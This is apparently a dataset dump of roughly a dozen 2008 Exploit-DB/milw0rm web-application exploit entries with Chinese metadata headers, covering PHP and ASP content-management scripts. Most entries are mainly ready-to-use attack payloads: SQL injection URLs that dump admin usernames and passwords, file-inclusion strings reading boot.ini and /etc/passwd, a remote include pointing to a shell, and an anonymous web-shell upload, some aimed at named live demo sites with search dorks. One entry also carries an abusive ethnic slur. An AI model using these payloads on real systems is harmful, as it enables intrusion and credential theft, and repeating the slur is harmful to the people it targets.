QLWD/code_shield huggingface dataset:
标题: Keller Web Admin CMS 0.94 Pro - Local File Inclusion (1) EDB-ID: 5940 CVE: 2008-6734 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-26 漏洞利用脚本: ===========================================================
  Keller Web Admin CMS Local File Inclusion Vulnerability
===========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 26 June 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : Keller Web Admin CMS
 VERSION     : 0.94 Pro
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/kwa
#####################################################

--- Local File Inclusion ---

-------------------------------------
 Vulnerable File [/Public/index.php]
-------------------------------------

@Line 

   21:  if (isset($_GET['action'])) {
   22:  $action=$_GET['action'];
   23: $inclConfig = $includeFolder.$action.".inc.php";
   24: include($inclConfig);
   25: header('Location: '.$clnt_referer);
   26: die();
   27:  }

---------
 Exploit
---------

[+] http://[Target]/[kwa_path]/Public/index.php?action=[LFI]

-------------
 POC Exploit
-------------

[+] http://192.168.24.25/kwa/Public/index.php?action=../../../../../../../../boot.ini%00

    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-26] URL: https://www.exploit-db.com/exploits/5940
标题: Cheats Complete Website 1.1.1 - 'itemID' SQL Injection EDB-ID: 5950 CVE: 2008-5170 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-26 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by :  Cyb3r-1sT

<<!>> C0ntact  : cyb3r-1st [at] hotmail.com ..$<->$.. t3tto0 [at] yahoo.com
                   
<<!>> Groups   : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script    :  Cheats Website 
 
<<->> Demo site : www.easysitenetwork.com/sites/cheats


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : N0-WaY

<<->> Exploit :

 <!> for admin inf0 :: 

   >>>> www.site.me/patch/item.php?itemid=-999999999+union+select+concat(login,0x3a,password),1,2,3,4,5+from+admin_login/*


 <!> for members inf0 ::

   >>>> www.site.me/patch/item.php?itemid=-999999999+union+select+concat(login,0x3a,password),1,2,3,4,5+from+users/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker $ anaconda-ksa $ sirus $ crazy-x   
                          
                      :: abo-najm $ br1ght-dark $ spid3r-net $ hacker-b0y 

<<->> InjEctOr5 TeaM   


<<->> All muslims

# milw0rm.com [2008-06-26] URL: https://www.exploit-db.com/exploits/5950
标题: MyPHP CMS 0.3.1 - 'pid' SQL Injection EDB-ID: 5937 CVE: 2008-3497 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-25 漏洞利用脚本: ===============================================================
  MyPHP CMS (page.php pid) Remote SQL Injection Vulnerability
===============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 25 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : MyPHP CMS
 VERSION     : 0.3.1
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/myphpcms
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

---------------------------------
 Vulnerable File [page.php?pid=]
---------------------------------

@Line 

   13:   $psql = "SELECT  * FROM ".$table_prefix."pages WHERE pid='$pid'";
   14:  $pprocess = mysql_query ( $psql );
   15:  $prow = mysql_fetch_array ( $pprocess );

---------
 Exploit
---------

[+] http://[Target]/[myphpcms_path]/pages.php?pid=-9999'/**/UNION/**/SELECT/**/1,username,3,password,5,6/**/FROM/**/[prefix_users]/**/WHERE/**/uid='1

 This exploit can dump username and password in clear text

-------------
 POC Exploit
-------------

[+] http://192.168.24.25/myphpcms/pages.php?pid=-9999'/**/UNION/**/SELECT/**/1,username,3,password,5,6/**/FROM/**/users/**/WHERE/**/uid='1



##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-25] URL: https://www.exploit-db.com/exploits/5937
标题: Page Manager CMS 2006-02-04 - Arbitrary File Upload EDB-ID: 5936 CVE: 2008-7167 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-25 漏洞利用脚本: ================================================================
  Page Manager CMS Remote Arbitrary File Upload Vulnerability
================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 25 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Page Manager 
 VERSION     : 2006-02-04
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/pagemanager
#####################################################

---Arbitrary File Upload Exploit---

 This Vulnerability can upload malicious files direct to web server.

[Anonymous Can arbitrary upload]

[+] Upload Path: http://[Target]/[pagemanager_path]/upload.php

[+] Shell Script: http://[Target]/[Evil File]


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-25] URL: https://www.exploit-db.com/exploits/5936
标题: Link ADS 1 - 'linkid' SQL Injection EDB-ID: 5930 CVE: 2008-2869 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-24 漏洞利用脚本: #########################################################
#
#   Link ADS 1  SQL Injection Vulnerability
#========================================================
#
#    Author: Hussin X                                   
#                                                       
#    Home :  www.tryag.cc/cc                            
#                                                     
#    email:  darkangel_g85[at]Yahoo[DoT]com            
#            hussin.x[at]hotmail[DoT]com                
#                                               
#========================================================
#    HomE script : http://e-topbiz.com/
#     
#    Demo : http://e-topbiz.com/oprema/pages/linkads1.php  
#    
#    DorK : out.php?linkid=1
#    DorK : inurl:"out.php?linkid=1"
##########################################################

Exploit:   


http://www.site.org/Script/out.php?linkid=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11--




L!VE DEMO:

http://e-topbiz.com/trafficdemos/linkads1/out.php?linkid=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11--


LogiN:


/admin/

 
################################################################################
####################################( Greetz )##################################
#                                                                              #
#      tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR /str0ke          #      

#                 Silic0n  / Rafi / FAHD / Iraqihack                           #      

#                                                                              #
#################################(and All IRAQIs)###############################
################################################################################

# milw0rm.com [2008-06-24] URL: https://www.exploit-db.com/exploits/5930
标题: mUnky 0.0.1 - 'zone' Local File Inclusion EDB-ID: 5933 CVE: 2008-2876 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-25 漏洞利用脚本: @~~===========================================~~@
|  Author => StAkeR ~ StAkeR@hotmail.it         |  
@~~===========================================~~@ 
+                                               + 
@~~===========================================~~@
|  mUnky 0.0.1 <= Local File Inclusion Vuln     |
@~~===========================================~~@
|  index.php?zone=../../../../../etc/passwd%00  |                        
@~~===========================================~~@
+
@~~=========================================================================~~@
|  http://dfn.dl.sourceforge.net/sourceforge/munky/munky-bliki-0.01a.tar.gz   |
@~~=========================================================================~~@

# milw0rm.com [2008-06-25] URL: https://www.exploit-db.com/exploits/5933
标题: Jokes & Funny Pics Script - 'sb_jokeid' SQL Injection EDB-ID: 5934 CVE: 2008-2874 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-25 漏洞利用脚本: #########################################################
#
#   Jokes & Funny Pics Script  SQL Injection Vulnerability
#========================================================
#
#    Author: Hussin X                                   
#                                                       
#    Home :  www.tryag.cc/cc                            
#                                                     
#    email:  darkangel_g85[at]Yahoo[DoT]com            
#            hussin.x[at]hotmail[DoT]com                
#                                               
#========================================================
#    HomE script : http://www.softbizscripts.com
#     
#    Demo : http://www.softbizscripts.com/scripts/jokes  
#    
#    DorK : "index.php?sbjoke_id="

##########################################################

Exploit:   


http://www.site.org/Script/index.php?sbjoke_id=-1+union+select+0,1,2,3,concat_ws(sbadmin_pwd,0x3a,sbadmin_name),5,6,7,8,9,10+from+sbjks_admin--


Exploit: 2

index.php?sbjoke_id=-1+union+select+0,1,2,3,concat_ws(sbadmin_pwd,0x3a,sbadmin_name),5,6,7,8,9,10,11,12,13+from+sbjks_admin--

Login :

/admin/

 
################################################################################
####################################( Greetz )##################################
#                                                                              #
#      tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR /str0ke          #      
#                 Silic0n  / Rafi / FAHD / Iraqihack                           #      
#                                                                              #
#################################(and All IRAQIs)###############################

# milw0rm.com [2008-06-25] URL: https://www.exploit-db.com/exploits/5934
标题: DUcalendar 1.0 - 'iEve' SQL Injection EDB-ID: 5927 CVE: 2008-2868 类型: WEBAPPS 平台: ASP 发布日期: 2008-06-24 漏洞利用脚本: DUcalendar v 1.0 (detail.asp?iEve=) Remote SQL Inection Exploit


[+] Script : DUcalendar 

[+] Version : 1.0 (Maybe others) 

[+] Exploit : Remote SQL Injection 

[+] Script URL : http://www.codedworld.com/download/ducalendar-/545.html 

[+] Description : ('Free Event Calendar written in ASP. Features include 
unlimited entries, organized in category. Events displayed with full 
description, date, location. Users can submit new events and search for 
events. Complete Web-based Admin. Dreamweaver friendly.') 

[+] Dork : intitle:"DUcalendar 1.0" 

--//--> Exploit : 

http://d0rk.co.il/calendar/detail.asp?iEve={SQL} 

--__--> For Ms SQL Server : convert(int,(select+@@version))-- 

--__--> For Ms ACCESS (Blind-way) : IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Name%20from%20MSysObjects))='a',0,'done')%00 


--//--> Greetz : allah , Underz0ne Crew , and all my friends .. 

# milw0rm.com [2008-06-24] URL: https://www.exploit-db.com/exploits/5927
标题: Webdevindo-CMS 0.1 - 'hal' SQL Injection EDB-ID: 5932 CVE: 2008-2875 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-25 漏洞利用脚本: =========================================================================
  Webdevindo-CMS 0.1 (index.php hal) Remote SQL Injection Vulnerability
=========================================================================
 
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 25 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Webdevindo-CMS 
 VERSION     : 1.0.0
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/webdevindo-cms
#####################################################

--- Remote SQL Injection ---

---------
 Exploit
---------

[+] http://[Target]/[webdevindo_path]/index.php?hal=[SQL Injection]

-------------
 POC Exploit
-------------

[+] http://192.168.24.25/webdevindo/index.php?hal=-99999'/**/union/**/select/**/Password/**/from/**/jos_user/**/where/**/LoginName='admin


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-25] URL: https://www.exploit-db.com/exploits/5932
标题: E-topbiz ViralDX 2.07 - 'bannerid' SQL Injection EDB-ID: 5929 CVE: 2008-2867 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-24 漏洞利用脚本: #########################################################
#
#   Viral DX 1  SQL Injection Vulnerability
#========================================================
#
#    Author: Hussin X                                   
#                                                       
#    Home :  www.tryag.cc/cc                            
#                                                     
#    email:  darkangel_g85[at]Yahoo[DoT]com            
#            hussin.x[at]hotmail[DoT]com                
#                                               
#========================================================
#    HomE script : http://e-topbiz.com/
#     
#    Demo : http://e-topbiz.com/trafficdemos/viraldx1/  
#    
#
##########################################################

Exploit:   

http://www.site.com/Script/adclick.php?bannerid=-1+union+select+concat_ws

(0x3a,login,pass)+from+pass--



L!VE DEMO:

http://e-topbiz.com/trafficdemos/viraldx1/adclick.php?bannerid=-

1+union+select+concat_ws(0x3a,login,pass)+from+pass--


LoGiN :

/admin/login.php

 
################################################################################
####################################( Greetz )##################################
#                                                                              #
#      tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR /str0ke          #      
#                 Silic0n  / Rafi / FAHD / Iraqihack                           #      
#                                                                              #
#################################(and All IRAQIs)###############################

# milw0rm.com [2008-06-24] URL: https://www.exploit-db.com/exploits/5929
标题: cmsWorks 2.2 RC4 - 'mod_root' Remote File Inclusion EDB-ID: 5921 CVE: 2008-2877 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Remote File Include ]                         ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : cmsWorks 2.2 RC4       ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????


http://localhost/path/admin/include/lib.module.php?mod_root=[SHELL]


??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????


# milw0rm.com [2008-06-23] URL: https://www.exploit-db.com/exploits/5921
标题: ShareCMS 0.1 - Multiple SQL Injections EDB-ID: 5925 CVE: 2008-2870 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-24 漏洞利用脚本: ==============================================================
  ShareCMS 0.1 Multiple Remote SQL Injection Vulnerabilities
==============================================================
 
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 24 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : ShareCMS 
 VERSION     : 0.1 Beta
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/sharecms
#####################################################

--- Remote SQL Injection ---

----------
 Exploits
----------

[+] http://[Target]/[sharecms_path]/event_info.php?eventID[SQL Injection]
[+] http://[Target]/[sharecms_path]/list_user.php?userID=[SQL Injection]

--------------
 POC Exploits
--------------

[+] http://192.168.24.25/sharecms/event_info.php?eventID=-9999/**/UNION/**/SELECT/**/1,2,3,username,5,6,7,8,9,10,11,12,password/**/FROM/**/user--
[+] http://192.168.24.25/sharecms/list_user.php?userID=-9999/**/UNION/**/SELECT/**/1,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11/**/FROM/**/user--


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-24] URL: https://www.exploit-db.com/exploits/5925